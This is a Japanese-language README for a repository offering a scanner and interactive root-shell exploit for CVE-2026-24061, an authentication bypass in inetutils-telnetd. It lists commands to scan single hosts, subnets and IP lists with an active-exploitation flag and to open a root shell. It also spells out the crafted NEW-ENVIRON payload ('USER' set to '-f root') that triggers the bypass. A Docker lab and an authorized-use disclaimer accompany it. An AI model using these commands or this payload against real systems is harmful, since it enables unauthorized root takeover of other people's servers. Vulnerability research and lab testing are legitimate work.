
CVE-2026-24061のスキャナおよび対話型エクスプロイト。inetutils-telnetdの脆弱性を利用し、細工したNEW-ENVIRONネゴシエーションを介して認証前のrootアクセスを可能にします。マルチスレッドスキャンとDockerラボを含みます。
👨💻 作成者: Furkan KAYAPINAR (@FurkanKAYAPINAR)
このリポジトリには、CVE-2026-24061 用の脆弱性スキャナーと対話型エクスプロイトが含まれています。この脆弱性は、inetutils-telnetd(および他のTelnet実装にも影響する可能性があります)が NEW-ENVIRON Telnetオプションを不適切に処理することによって発生し、-f root ペイロードを使用したリモートからの事前認証アクセスを可能にします。
--exploit フラグが含まれています。inetutils-telnetd を実行するDocker化されたUbuntu環境。Python 3.x がインストールされていることを確認してください。
git clone https://github.com/FurkanKAYAPINAR/CVE-2026-24061-telnet2root.git
cd CVE-2026-24061-telnet2root
## 使用方法
NEW-ENVIRON 脆弱性のターゲットをスキャンします。
# 単一ターゲットをスキャン
python3 scanner.py -t 192.168.1.100 -p 1903
# サブネットをスキャン
python3 scanner.py -s 192.168.1.0/24 -p 1903
# IPリストをスキャンし、アクティブなエクスプロイトを試行(RCEチェック)
python3 scanner.py -l ips.txt -p 1903 --exploit
対話型のrootシェルアクセスを取得します。
python3 exploit.py -t 127.0.0.1 -p 1903
テスト用のローカル脆弱環境をデプロイします:
cd lab
docker-compose up -d --build
この脆弱性はTelnetネゴシエーションフェーズ中にトリガーされます。サーバーの DO NEW-ENVIRON リクエストに対して、特別に細工された IS VAR "USER" VALUE "-f root" サブネゴシエーションパケットで応答することにより、サーバー側の telnetd プロセスが -f root フラグを login プロセスに渡すように騙され、認証がバイパスされます。
[!WARNING]
このツールは教育目的および許可されたセキュリティテスト専用です。コンピュータシステムへの不正アクセスは違法かつ非倫理的です。